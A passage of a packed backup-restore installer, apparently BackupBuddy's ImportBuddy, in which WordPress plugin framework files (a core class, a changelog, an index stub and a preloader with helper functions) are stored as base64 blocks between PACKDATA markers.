2V0L3NsdWcucGhwLiBXaWRnZXQgY2xhc3MgZXh0ZW5kIFdQX1dpZGdldHMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc2x1ZyAgTmFtZSAvIHNsdWcgZm9yIHdpZGdldC4gTXVzdCBtYXRjaCBmaWxlbmFtZSBpbiBjb250cm9sbGVyc1x3aWRnZXRzXCBkaXJlY3RvcnkuIENsYXNzIG5hbWUgaW4gdGhlIGZvcm1hdDogcGJfe1BMVUdJTlNMVUd9X3dpZGdldF97V0lER0VUU0xVR30uCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVnaXN0ZXJfd2lkZ2V0KCAkc2x1ZyApIHsKCQlpZiAoIGZpbGVfZXhpc3RzKCBzZWxmOjpwbHVnaW5fcGF0aCgpIC4gJy9jb250cm9sbGVycy93aWRnZXRzLycgLiAkc2x1ZyAuICcucGhwJyApICkgewoJCQlyZXF1aXJlIHNlbGY6OnBsdWdpbl9wYXRoKCkgLiAnL2NvbnRyb2xsZXJzL3dpZGdldHMvJyAuICRzbHVnIC4gJy5waHAnOwoJCQlhZGRfYWN0aW9uKCAnd2lkZ2V0c19pbml0JywgYXJyYXkoICdwYl9iYWNrdXBidWRkeScsICdkb19yZWdpc3Rlcl93aWRnZXQnICkgKTsKCQl9IGVsc2UgewoJCQllY2hvICd7RXJyb3IgIzM0NDQ1NDg5MjI6IFVuYWJsZSB0byBsb2FkIHdpZGdldCBmaWxlIGBjb250cm9sbGVycy93aWRnZXRzLycgLiAkc2x1ZyAuICcucGhwYC59JzsKCQl9Cgl9IC8vIEVuZCByZWdpc3Rlcl93aWRnZXQoKS4KCgkvKioKCSAqIEhhbmRsZSB0aGUgd2lkZ2V0IHJlZ2lzdHJhdGlvbi4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBkb19yZWdpc3Rlcl93aWRnZXQoKSB7CgkJcmVnaXN0ZXJfd2lkZ2V0KCAncGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfd2lkZ2V0XycgLiAkc2x1ZyApOwoJfQoKCS8qKgoJICogUmVtb3ZlcyBhcnJheSB2YWx1ZXMgaW4gJHJlbW92ZSBmcm9tICRhcnJheS4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgJGFycmF5ICAgU291cmNlIGFycmF5LiBUaGlzIHdpbGwgaGF2ZSB2YWx1ZXMgcmVtb3ZlZCBhbmQgYmUgcmV0dXJuZWQuCgkgKiBAcGFyYW0gYXJyYXkgJHJlbW92ZSAgQXJyYXkgb2YgdmFsdWVzIHRvIHNlYXJjaCBmb3IgaW4gJGFycmF5IGFuZCByZW1vdmUuCgkgKgoJICogQHJldHVybiBhcnJheSAgUmV0dXJucyBhcnJheSAkYXJyYXkgc3RyaXBwZWQgb2YgYWxsIHZhbHVlcyBmb3VuZCBpbiAkcmVtb3ZlCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gYXJyYXlfcmVtb3ZlKCAkYXJyYXksICRyZW1vdmUgKSB7CgkJaWYgKCAhIGlzX2FycmF5KCAkcmVtb3ZlICkgKSB7CgkJCSRyZW1vdmUgPSBhcnJheSggJHJlbW92ZSApOwoJCX0KCQlyZXR1cm4gYXJyYXlfdmFsdWVzKCBhcnJheV9kaWZmKCAkYXJyYXksICRyZW1vdmUgKSApOwoJfSAvLyBFbmQgYXJyYXlfcmVtb3ZlKCkuCgoJLyoqCgkgKiBBdHRlbXB0IHRvIHN0cm9uZ2FybSBhIGZsdXNoIHRvIGFjdHVhbGx5IHdvcmsuCgkgKiBQcmV2ZW50IGZsdXNoaW5nIGJ5IGFkZGluZyB0aGlzIHRvIHdwLWNvbmZpZy5waHA6CgkgKiAgICAgZGVmaW5lKCAnQkFDS1VQQlVERFlfTk9GTFVTSCcsIHRydWUgKTsKCSAqIE9SCgkgKiAgICAgc2V0IGFkdmFuY2VkIG9wdGlvbiB0byBwcmV2ZW50IGZsdXNoCgkgKgoJICogQHBhcmFtIGJvb2wgJGZvcmNlICBGb3JjZSBmbHVzaC4KCSAqCgkgKiBAcmV0dXJuIG51bGwKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBmbHVzaCggJGZvcmNlID0gZmFsc2UgKSB7CgkJaWYgKCB0cnVlID09PSAkZm9yY2UgKSB7CgkJCXNlbGY6OiRfaGFzX2ZsdXNoZWQgPSBmYWxzZTsKCQl9CgoJCWlmICggZGVmaW5lZCggJ0JBQ0tVUEJVRERZX05PRkxVU0gnICkgJiYgKCBCQUNLVVBCVUREWV9OT0ZMVVNIID09PSB0cnVlICkgKSB7IC8vIFNvbWUgc2VydmVycyBzZWVtIHRvIGRpZSBvbiBtdWx0aXBsZSBmbHVzaGVzIGluIHRoZSBzYW1lIHBhZ2Vsb2FkLiBEZWZpbmUgdGhpcyB0byBwcmV2ZW50IGZsdXNoaW5nLgoJCQlyZXR1cm47CgkJfQoJCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9ucyApICYmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJldmVudF9mbHVzaCddICkgKSAmJiAoICcxJyA9PSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3ByZXZlbnRfZmx1c2gnXSApICkgewoJCQlyZXR1cm47CgkJfQoJCWlmICggdHJ1ZSAhPT0gc2VsZjo6JF9oYXNfZmx1c2hlZCApIHsgLy8gT25seSBydW4gdGhpcyBvbmNlLgoJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2FwYWNoZV9zZXRlbnYnICkgKSB7CgkJCQlAYXBhY2hlX3NldGVudiggJ25vLWd6aXAnLCAxICk7IC8vIENvbXByZXNzaW9uIGNvdWxkIGNhdXNlIHNlcnZlciB0byB3YWl0IGZvciBwYWdlIHRvIGZpbmlzaCBiZWZvcmUgcHJvY2VlZGluZy4gVHVybiBvZmYgY29tcHJlc3Npb24uCgkJCX0KCQkJQGluaV9zZXQoICd6bGliLm91dHB1dF9jb21wcmVzc2lvbicsIDAgKTsgLy8gQ29tcHJlc3Npb24gY291bGQgY2F1c2Ugc2VydmVyIHRvIHdhaXQgZm9yIHBhZ2UgdG8gZmluaXNoIGJlZm9yZSBwcm9jZWVkaW5nLiBUdXJuIG9mZiBjb21wcmVzc2lvbi4KCQkJc2VsZjo6JF9oYXNfZmx1c2hlZCA9IHRydWU7CgkJfQoJCWZsdXNoKCk7Cgl9IC8vIEVuZCBmbHVzaCgpLgoKCS8qKgoJICogUmVzZXQgcGx1Z2luIG9wdGlvbnMgdG8gZGVmYXVsdHMuIEdldHRpbmcgc3RhcnRlZCBwYWdlIHVzZXMgdGhpcy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2VzczsgZmFsc2Ugb3RoZXJ3aXNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc2V0X2RlZmF1bHRzKCkgewoJCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5OjokX3NldHRpbmdzWydkZWZhdWx0X29wdGlvbnMnXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnMgPSBwYl9iYWNrdXBidWRkeTo6JF9zZXR0aW5nc1snZGVmYXVsdF9vcHRpb25zJ107CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgkJCXJldHVybiB0cnVlOwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9IC8vIEVuZCByZXNldF9kZWZhdWx0cygpLgoKCS8qKgoJICogTG9ncyBjYWxsZXIgdG8gZXJyb3JfbG9nKCkgaWYgeGRlYnVnIGF2YWlsYWJsZS4KCSAqCgkgKiBAcmV0dXJuIG51bGwKCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiB4ZGVidWcoKSB7CgkJaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3hkZWJ1Z19jYWxsX2ZpbGUnICkgKSB7CgkJCXJldHVybjsKCQl9CgkJZXJyb3JfbG9nKCAnQ2FsbGVkIEAgJyAuIHhkZWJ1Z19jYWxsX2ZpbGUoKSAuICc6JyAuIHhkZWJ1Z19jYWxsX2xpbmUoKSAuICcgZnJvbSAnIC4geGRlYnVnX2NhbGxfZnVuY3Rpb24oKSApOwoJfQoKfSAvLyBFbmQgY2xhc3MgcGx1Z2luYnVkZHkuCgovLyBMb2FkIHBsdWdpbmJ1ZGR5IGlzX3N0YW5kYWxvbmUgaGVscGVyIGZ1bmN0aW9ucy4KcmVxdWlyZV9vbmNlICdoZWxwZXJzL2lzX3N0YW5kYWxvbmUucGhwJzsKCi8vIExvYWQgcGx1Z2luYnVkZHkgZGF0YWJhc2UgaGVscGVyIGNsYXNzLgpyZXF1aXJlX29uY2UgJ2NsYXNzZXMvY2xhc3MtcGItYmFja3VwYnVkZHktZGItaGVscGVycy5waHAnOwoKLy8gRklYTUU6IElzb2xhdGUgY2xhc3MsIG1vdmUgdGhlIGZvbGxvd2luZyBjb2RlIHNvbWV3aGVyZSBlbHNlLCBwb3NzaWJseSBhIGhlbHBlciBmdW5jdGlvbi4KaWYgKCBwYl9pc19zdGFuZGFsb25lKCkgKSB7CglyZXF1aXJlX29uY2UgJ3N0YW5kYWxvbmVfcHJlbG9hZGVyLnBocCc7Cn0KCi8vICoqKioqKioqKiogTG9hZCBjb3JlIGNsYXNzZXMgKioqKioqKioqKgpyZXF1aXJlX29uY2UgZGlybmFtZSggX19GSUxFX18gKSAuICcvY2xhc3Nlcy9jb3JlX2NvbnRyb2xsZXJzLnBocCc7CmlmICggaXNfYWRtaW4oKSApIHsKCXJlcXVpcmVfb25jZSBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy9jbGFzc2VzL2Zvcm0ucGhwJzsKCXJlcXVpcmVfb25jZSBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy9jbGFzc2VzL3NldHRpbmdzLnBocCc7Cn0KCi8vICoqKioqKioqKiogSW5pdGlhbGl6ZSBQbHVnaW5CdWRkeSBmcmFtZXdvcmsgKioqKioqKioqKgppZiAoICEgaXNzZXQoICRwbHVnaW5idWRkeV9pbml0ICkgKSB7CgkkcGx1Z2luYnVkZHlfaW5pdCA9ICdpbml0LnBocCc7IC8vIGRlZmF1bHQgaW5pdCBmaWxlLgp9CnBiX2JhY2t1cGJ1ZGR5Ojppbml0KCAkcGx1Z2luYnVkZHlfc2V0dGluZ3MsICRwbHVnaW5idWRkeV9pbml0ICk7CnVuc2V0KCAkcGx1Z2luYnVkZHlfc2V0dGluZ3MgKTsKdW5zZXQoICRwbHVnaW5idWRkeV9pbml0ICk7CgpwYl9iYWNrdXBidWRkeTo6bG9hZCgpOwoKLy8gKioqKioqKioqKiBMb2FkIGluaXRpYWxpemF0aW9uIGZpbGVzICoqKioqKioqKioKcmVxdWlyZV9vbmNlIGRpcm5hbWUoIGRpcm5hbWUoIF9fRklMRV9fICkgKSAuICcvaW5pdF9nbG9iYWwucGhwJzsKaWYgKCBpc19hZG1pbigpICkgewoJcmVxdWlyZV9vbmNlIGRpcm5hbWUoIGRpcm5hbWUoIF9fRklMRV9fICkgKSAuICcvaW5pdF9hZG1pbi5waHAnOwp9CgppZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX2NvbnRyb2xsZXIoICdwYWdlcy9kZWZhdWx0JyApOwp9Cg==
###PACKDATA,FILE_END,/pluginbuddy/_pluginbuddy.php,importbuddy/pluginbuddy/_pluginbuddy.php
###PACKDATA,FILE_START,/pluginbuddy/history.txt,importbuddy/pluginbuddy/history.txt
MS4wLjAgLSAyMDExLTEyLTEzIC0gRHVzdGluIEJvbHRvbgoJSW5pdGlhbCBwdXNoLgoxLjAuMSAtIDIwMTEtMTItMTMgLSBEdXN0aW4gQm9sdG9uCglGaXhlZCBVSSB0aXRsZSgpIG5vdCBzaG93aW5nIGltYWdlLgoJRml4ZWQgbm9uLXNlcmllcyBHZXR0aW5nIFN0YXJ0ZWQgcGFnZSB1bmRlZmluZWQgaW5kZXguCglwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoKSByZXR1cm5zIGJsYW5rIGZvciBzZXJpZXMgdGFnIGlmIG5vdCBmb3VuZC4KMS4wLjIgLSAyMDExLTAyLTEyIC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgdXBkYXRlci4KMS4wLjMgLSAyMDEyLTAxLTA0IC0gRHVzdGluIEJvbHRvbgoJRml4ZWQgdmFyaW91cyB3aWRnZXQgdGhpbmdzLgoJVXNpbmcgVUkgZWxlbWVudHMgb24gcGFnZXMgdGhhdCBhcmVuJ3Qgb3VyIG93bi4KMS4wLjQgLSAyMDEyLTAxLTA1IC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgb3B0aW9uYWwgYWJpbGl0eSB0byBzcGVjaWZpYyB0aGUgZmlyc3QgcGFyYW1ldGVyICgkdGFnKSBmb3IgYWRkX3Nob3J0Y3V0LCBhZGRfZmlsdGVyLCBhZGRfYWN0aW9uLCBldGMgdGhhdCBhbGxvd3MgcGFzc2luZyBhIGN1c3RvbSBtZXRob2QgY2FsbGJhY2sgbmFtZSB0aGF0IGRpZmZlcnMgZnJvbSB0aGUgdGFnLiBTb21lIGFjdGlvbnMgaGF2ZSBjaGFyYWN0ZXJzIGRpc2FsbG93ZWQgaW4gUEhQIG1ldGhvZCBuYW1lcyBzbyB0aGV5IG5lZWQgdG8gZGlmZmVyLgoxLjAuNSAtIDIwMTItMDEtMDUgLSBEdXN0aW4gQm9sdG9uCglGaXhlZCBmb3JtIHZhbGlkYXRpb24gZm9yIGVtcHR5IGZvcm0gZWxlbWVudHMuCglGaXhlZCBtaXNzaW5nIHRvb2x0aXBzIGluIHNldHRpbmdzIGZvcm1zLgoxLjAuNiAtIDIwMTItMDEtMDUgLSBEdXN0aW4gQm9sdG9uCglBZGRlZCBiZXR0ZXIgZXJyb3IgcmVwb3J0aW5nIG9uIGZvcm0gdmFsaWRhdGlvbiBmYWlsdXJlLgoJTm93IGFsbG93aW5nIHBhcnRpYWwgZm9ybSBzYXZpbmcgb24gdmFsaWR0aW9uIGZhaWx1cmUuCglBZGRlZCByZWQgYm9yZGVyIGFyb3VuZCBmb3JtIGl0ZW1zIHRoYXQgZmFpbCB2YWxpZGF0aW9uIGZvciBlYXNpZXIgcmVjb2duaXRpb24uCjEuMC43IC0gMjAxMi0wMS0wNiAtIER1c3RpbiBCb2x0b24KCUZvcm0gdmFsaWRhdGlvbiBmdW5jdGlvbiBudW1iZXIgcnVsZSB3YXMgaW5wcm9wZXJseSBuYW1lZCBudW0uCjEuMC44IC0gMjAxMi0wMS0xMyAtIER1c3RpbiBCb2x0b24KCUFkZGVkIGVycm9yIG1lc3NhZ2UgaWYgdXBkYXRlciBzZXR0aW5ncyBwYXJhbWV0ZXIgbWlzc2luZy4KCUZpeGVkIHZlcnNpb24gbnVtYmVyLgoxLjAuOSAtIDIwMTItMDEtMTMgLSBEdXN0aW4gQm9sdG9uCglGaXhlZCBwbHVnaW5idWRkeV9zZXR0aW5ncyBmb3JtIHNldHRpbmcgZm9ybSBuYW1lIHN0YXRpY2FsbHkuCglDdXN0b20gcHJvY2Vzc2luZyBhZGRlZCBpbnRvIHBsdWdpbmJ1ZGR5X3NldHRpbmdzIGNsYXNzIHZpYSBwcm9jZXNzKCk7IGp1c3Qgc2V0IHNhdmVwb2ludCBpbiBjb25zdHJ1Y3RvciB0byBmYWxzZSB0byBhY3RpdmF0ZSB0aGlzIG1vZGUuCjEuMC4xMSAtIDIwMTItMDEtMTggLSBEdXN0aW4gQm9sdG9uCglBZGRlZCBpbml0aWFsIHN0YXJ0aW5ncyBmb3IgbmV3IG1lZGlhIGxpYnJhcnkgc3lzdGVtLgoJVHdlYWtlZCBkb3duc2l6ZXIgbG9hZGVyIHN5c3RlbS4KCVJlbmFtZWQgcGx1Z2luYnVkZHkgY2xhc3MgdG8gcGIgY2xhc3MuIEFsbCByZWZlcmVuY2VzIHRvIHBiX2JhY2t1cGJ1ZGR5Ojogc2hvdWxkIGNoYW5nZSB0byBwYl9iYWNrdXBidWRkeTo6CjEuMC4xMiAtIDIwMTItMDEtMTggLSBEdXN0aW4gQm9sdG9uCQoJX2luaXRfY29yZV9jb250cm9sbGVyKCkgY2xlYW51cC4KMS4wLjEzIC0gMjAxMi0wMS0xOSAtIER1c3RpbiBCb2x0b24JCglGaXhlZCBsYWNrIG9mIHJldHVybiBpbiBwYl9iYWNrdXBidWRkeTo6dGlwKCkgYW5kIHBiX2JhY2t1cGJ1ZGR5Ojp2aWRlbygpLgoxLjAuMTQgLSAyMDEyLTAxLTE5IC0gRHVzdGluIEJvbHRvbgoJTW92ZWQgYWxsIGZyYW1ld29yay1yZXF1aXJlZCBKUyBhbmQgQ1NTIGludG8gcGx1Z2luYnVkZHkgZGlyZWN0b3J5LgoxLjAuMTUgLSAyMDEyLTAxLTI1IC0gRHVzdGluIEJvbHRvbgoJRml4ZWQgY29yZSBjb250cm9sbGVyIGZvciBkYXNoYm9hcmQgd2lkZ2V0IGJlaW5nIGFibGUgdG8gYWNjZXNzIHByaXZhdGUgc3RhdGljIHZhci4KCUFkZGVkIHBiX2JhY2t1cGJ1ZGR5OjphbnRpX2RpcmVjdG9yeV9icm93c2luZygpLgoJQWRkZWQgcGJfYmFja3VwYnVkZHk6Om1rZGlyKCkuCglBZGRlZCBwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCkuCglBZGRlZCBwYl9iYWNrdXBidWRkeTo6Z2V0X3N0YXR1cygpLgoJQWRkZWQgcGJfYmFja3VwYnVkZHk6OmRlYnVnKCkuCjEuMC4xNiAtIDIwMTItMDEtMjYgLSBEdXN0aW4gQm9sdG9uCglBZGRlZCBwYl9iYWNrdXBidWRkeTo6JGZpbGVzeXN0ZW0gY2xhc3MgY29udHJvbGxlciBmb3IgaW50ZXJmYWNpbmcgd2l0aCBmaWxlIHN5c3RlbS4KCUFkZGVkIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0IGNsYXNzIGNvbnRyb2xsZXIgZm9yIGZvcm1hdHRpbmcgZGF0YSAvIHRleHQgaW4gaHVtYW4gcmVhZGFibGUgZm9ybWF0cy4KCWRvd25zaXplciwgdXBkYXRlciwgZmlsZXN5c3RlbSwgYW5kIGZvcm1hdCAnbW9kdWxlcycgbm93IGNvbnRyb2xsZWQgdmlhIG1vZHVsZXMga2V5IGluIHRoZSAkc2V0dGluZ3MgYXJyYXkuICBTZWUgbmV3IGluaXQucGhwLgoxLjAuMTkgLSAyMDEyLTAxLTMxIC0gRHVzdGluIEJvbHRvbgoJRm9ybSBmaXguCglTZXR0aW5ncyBmaXguCglBZGRlZCBDU1Mgb3B0aW9ucyBmb3IgZ3JvdXAgbGlzdCBpbiBVSSBjbGFzcy4KCUFkZGVkIHRpdGxlIHR5cGUgZm9yIGZvcm0vc2V0dGluZ3MgY2xhc3Nlcy4KCVVwZGF0ZWQgYWRtaW4uY3NzIGZvciB0aXRsZSBzZXR0aW5ncyBmb3JtIHR5cGUuCjEuMC4yMCAtIDIwMTItMDEtMDEgLSBEdXN0aW4gQm9sdG9uCglBZGRlZCBlcnJvciBjb2RlIGxvb2t1cCBmdW5jdGlvbiB0byBmaWxlc3lzdGVtIGNsYXNzLiBGb3IgZXhpdCBjb2RlcyBmcm9tIGV4ZWMoKSBhbmQgc3VjaC4KCUZpeGVkIHN0YXR1cygpIGJ1Z3Mgd2l0aCBuZXdsaW5lcywgYXJyYXlzIChjaGFuZ2VkIGRlbGltaXRlcikuCjEuMC4yMSAtIDIwMTItMDEtMDEgLSBEdXN0aW4gQm9sdG9uCglBZGRlZCB3eXNpd3lnIG9iamVjdCB5b3UgZm9ybSAmIHNldHRpbmdzIHN5c3RlbS4KCVRvdWNodXAgdG8gZmlsZXN5c3RlbSBjbGFzcy4KCUFkZGVkIGhpZGRlbiBmb3JtIG9iamVjdC4KCVNldHRpbmcgdGhlIHRpdGxlIG9mIGFueSBmb3JtL3NldHRpbmdzIG9iamVjdCB0byAnJyB3aWxsIGhpZGUgaXRzIGxlZnQgY29sdW1uIChjb2xsYXBzZXMgbGVmdCkuCglBZGRlZCB0aXRsZSBmb3JtIG9iamVjdCB0eXBlIGZvciBmb3JtYXR0aW5nLgoxLjAuMjIgLSAyMDEyLTAxLTAzIC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgcGI6OiRzdGFydF90aW1lIHRvIHVzZSB0byBjb21wYXJlIHBhc3NhZ2Ugb2YgdGltZS4KMS4wLjIzIC0gMjAxMi0wMi0wOCAtIER1c3RpbiBCb2x0b24KCVVwZGF0ZWQgdXBkYXRlci4KMS4wLjI0IC0gMjAxMi0wMi0wOCAtIER1c3RpbiBCb2x0b24KCUZpeGVkIGNoZWNrYm94ICJZRVMhIiBkZWJ1ZyBvdXRwdXQuCglGaXhlZCByYWRpbyBpbnB1dCBkZWZhdWx0IGNoZWNrZWQgc2VsZWN0aW9uIG5vdCBiZWluZyBhcHBsaWVkLgoxLjAuMjUgLSAyMDEyLTAyLTA5IC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgb3JpZW50YXRpb24gb3B0aW9uIHRvIHJhZGlvIGJ1dHRvbnMuICBQb3NzaWJsZSB2YWxzOiBob3Jpem9udGFsLCB2ZXJ0aWNhbAoxLjAuMjYgLSAyMDEyLTAyLTA5IC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgdGFiYmVkIGludGVyZmFjZXMgaW50byAkdWkgY2xhc3MuCjEuMC4yNyAtIDIwMTItMDItMTAgLSBEdXN0aW4gQm9sdG9uCglGaXhlZCBHZXR0aW5nIFN0YXJ0ZWQgcGFnZSB3aXRoIG9sZGVyIHNlcmllcyBjb25mbGljdGluZy4KMS4wLjI4IC0gMjAxMi0wMi0xNyAtIER1c3RpbiBCb2x0b24KCXN0cnN0cigpIHVzZWQgM3JkIHBhcmFtIHdoaWNoIHJlcXVpcmVkIFBIUCA+PSA1LjMgaW4gZm9ybTo6dGVzdF9ydWxlKCkuCglDbGVhbmVkIHVwIGluaXQucGhwIGEgYml0LgoJQ29sb3IgcGlja2VyOiBBZGRlZCBjb2xvciB0eXBlIHRvIGZvcm0vc2V0dGluZ3MuCgkKCUFkZGVkIHNldHRpbmdzIGNsYXNzIG1ldGhvZDogc2V0X3ZhbHVlKCkgdG8gb3ZlcndyaXRlIHZhbHVlcy4KCQ==
###PACKDATA,FILE_END,/pluginbuddy/history.txt,importbuddy/pluginbuddy/history.txt
###PACKDATA,FILE_START,/pluginbuddy/index.php,importbuddy/pluginbuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/pluginbuddy/index.php,importbuddy/pluginbuddy/index.php
###PACKDATA,FILE_START,/pluginbuddy/standalone_preloader.php,importbuddy/pluginbuddy/standalone_preloader.php
PD9waHAKLyoqCiAqIElNUE9SVEFOVDogQ29weSBvZiB0aGlzIGZpbGUgKCBzdGFuZGFsb25lX3ByZWxvYWRlci5waHAgKSBpbmNsdWRlZCBpbiBfcm9sbGJhY2tfdW5kby5waHAuCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKJHBiX3N0eWxlcyAgPSBhcnJheSgpOwokcGJfc2NyaXB0cyA9IGFycmF5KCk7CiRwYl9hY3Rpb25zID0gYXJyYXkoKTsKJHdwX3NjcmlwdHMgPSBhcnJheSgpOwoKLyoqCiAqIE5PVEU6IE1vZGlmaWVkIGZyb20gV1AgdG8gcnRyaW0gb24gZGlybmFtZSgpIGR1ZSB0byBXaW5kb3dzIGlzc3Vlcy4KICoKICogQHJldHVybiBzdHJpbmcgIFNpdGUgVVJMLgogKi8KZnVuY3Rpb24gc2l0ZV91cmwoKSB7CgkkcGFnZV91cmwgPSAnaHR0cCc7CglpZiAoIGlzc2V0KCAkX1NFUlZFUlsnSFRUUFMnXSApICYmICggJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJyApICkgewoJCSRwYWdlX3VybCAuPSAncyc7fQoJJHBhZ2VfdXJsIC49ICc6Ly8nOwoJaWYgKCAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSAnODAnICkgewoJCSRwYWdlX3VybCAuPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICc6JyAuICRfU0VSVkVSWydTRVJWRVJfUE9SVCddIC4gcnRyaW0oIGRpcm5hbWUoICRfU0VSVkVSWydQSFBfU0VMRiddICksICcvXFwnICk7Cgl9IGVsc2UgewoJCSRwYWdlX3VybCAuPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuIHJ0cmltKCBkaXJuYW1lKCAkX1NFUlZFUlsnUEhQX1NFTEYnXSApLCAnL1xcJyApOwoJfQoKCXJldHVybiAkcGFnZV91cmw7Cn0KCi8qKgogKiBOYXZpZ2F0ZXMgdGhyb3VnaCBhbiBhcnJheSBhbmQgcmVtb3ZlcyBzbGFzaGVzIGZyb20gdGhlIHZhbHVlcy4KICoKICogSWYgYW4gYXJyYXkgaXMgcGFzc2VkLCB0aGUgYXJyYXlfbWFwKCkgZnVuY3Rpb24gY2F1c2VzIGEgY2FsbGJhY2sgdG8gcGFzcyB0aGUKICogdmFsdWUgYmFjayB0byB0aGUgZnVuY3Rpb24uIFRoZSBzbGFzaGVzIGZyb20gdGhpcyB2YWx1ZSB3aWxsIHJlbW92ZWQuCiAqCiAqIEBzaW5jZSAyLjAuMAogKgogKiBAcGFyYW0gYXJyYXl8c3RyaW5nICR2YWx1ZSBUaGUgYXJyYXkgb3Igc3RyaW5nIHRvIGJlIHN0cmlwcGVkLgogKiBAcmV0dXJuIGFycmF5fHN0cmluZyBTdHJpcHBlZCBhcnJheSAob3Igc3RyaW5nIGluIHRoZSBjYWxsYmFjaykuCiAqLwpmdW5jdGlvbiBzdHJpcHNsYXNoZXNfZGVlcCggJHZhbHVlICkgewoJaWYgKCBpc19hcnJheSggJHZhbHVlICkgKSB7CgkJJHZhbHVlID0gYXJyYXlfbWFwKCAnc3RyaXBzbGFzaGVzX2RlZXAnLCAkdmFsdWUgKTsKCX0gZWxzZWlmICggaXNfb2JqZWN0KCAkdmFsdWUgKSApIHsKCQkkdmFycyA9IGdldF9vYmplY3RfdmFycyggJHZhbHVlICk7CgkJZm9yZWFjaCAoICR2YXJzIGFzICRrZXkgPT4gJGRhdGEgKSB7CgkJCSR2YWx1ZS0+eyRrZXl9ID0gc3RyaXBzbGFzaGVzX2RlZXAoICRkYXRhICk7CgkJfQoJfSBlbHNlIHsKCQkkdmFsdWUgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZSApOwoJfQoKCXJldHVybiAkdmFsdWU7Cn0KCgovKioKICogQ2hlY2sgdmFsdWUgdG8gZmluZCBpZiBpdCB3YXMgc2VyaWFsaXplZC4KICoKICogSWYgJGRhdGEgaXMgbm90IGFuIHN0cmluZywgdGhlbiByZXR1cm5lZCB2YWx1ZSB3aWxsIGFsd2F5cyBiZSBmYWxzZS4KICogU2VyaWFsaXplZCBkYXRhIGlzIGFsd2F5cyBhIHN0cmluZy4KICogQ291cnRlc3kgV29yZFByZXNzOyBzaW5jZSBXb3JkUHJlc3MgMi4wLjUuCiAqCiAqIEBwYXJhbSBtaXhlZCAkZGF0YSBWYWx1ZSB0byBjaGVjayB0byBzZWUgaWYgd2FzIHNlcmlhbGl6ZWQuCiAqIEByZXR1cm4gYm9vbCBGYWxzZSBpZiBub3Qgc2VyaWFsaXplZCBhbmQgdHJ1ZSBpZiBpdCB3YXMuCiAqLwpmdW5jdGlvbiBpc19zZXJpYWxpemVkKCAkZGF0YSApIHsKCS8vIElmIGl0IGlzbid0IGEgc3RyaW5nLCBpdCBpc24ndCBzZXJpYWxpemVkLgoJaWYgKCAhIGlzX3N0cmluZyggJGRhdGEgKSApIHsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkZGF0YSA9IHRyaW0oICRkYXRhICk7CglpZiAoICdOOycgPT0gJGRhdGEgKSB7CgkJcmV0dXJuIHRydWU7Cgl9CgkkbGVuZ3RoID0gc3RybGVuKCAkZGF0YSApOwoJaWYgKCAkbGVuZ3RoIDwgNCApIHsKCQlyZXR1cm4gZmFsc2U7Cgl9CglpZiAoICc6JyAhPT0gJGRhdGFbMV0gKSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJGxhc3RjID0gJGRhdGFbICRsZW5ndGggLSAxIF07CglpZiAoICc7JyAhPT0gJGxhc3RjICYmICd9JyAhPT0gJGxhc3RjICkgewoJCXJldHVybiBmYWxzZTsKCX0KCSR0b2tlbiA9ICRkYXRhWzBdOwoJc3dpdGNoICggJHRva2VuICkgewoJCWNhc2UgJ3MnOgoJCQlpZiAoICciJyAhPT0gJGRhdGFbICRsZW5ndGggLSAyIF0gKSB7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJLy8gbm8gYnJlYWsuCgkJY2FzZSAnYSc6CgkJY2FzZSAnTyc6CgkJCXJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCggIi9eeyR0b2tlbn06WzAtOV0rOi9zIiwgJGRhdGEgKTsKCQljYXNlICdiJzoKCQljYXNlICdpJzoKCQljYXNlICdkJzoKCQkJcmV0dXJuIChib29sKSBwcmVnX21hdGNoKCAiL157JHRva2VufTpbMC05LkUtXSs7XCQvIiwgJGRhdGEgKTsKCX0KCXJldHVybiBmYWxzZTsKfSAvLyBFbmQgaXNfc2V